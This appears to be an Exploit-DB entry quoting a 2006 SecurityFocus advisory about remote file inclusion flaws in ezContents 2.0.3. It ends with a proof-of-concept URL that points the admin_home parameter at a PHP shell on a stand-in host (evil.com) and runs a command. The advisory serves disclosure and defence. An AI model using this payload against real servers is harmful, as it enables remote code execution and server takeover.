EZContents 2.0.3 - 'review_summary.php?GLOBALS[admin_home]' Remote File Inclusion

EDB-ID:

28460


Author:

DarkFig

Type:

webapps


Platform:

PHP

Date:

2006-08-30


source: https://www.securityfocus.com/bid/19776/info
       
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
       
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
       
http://www.example.com/modules/reviews/review_summary.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls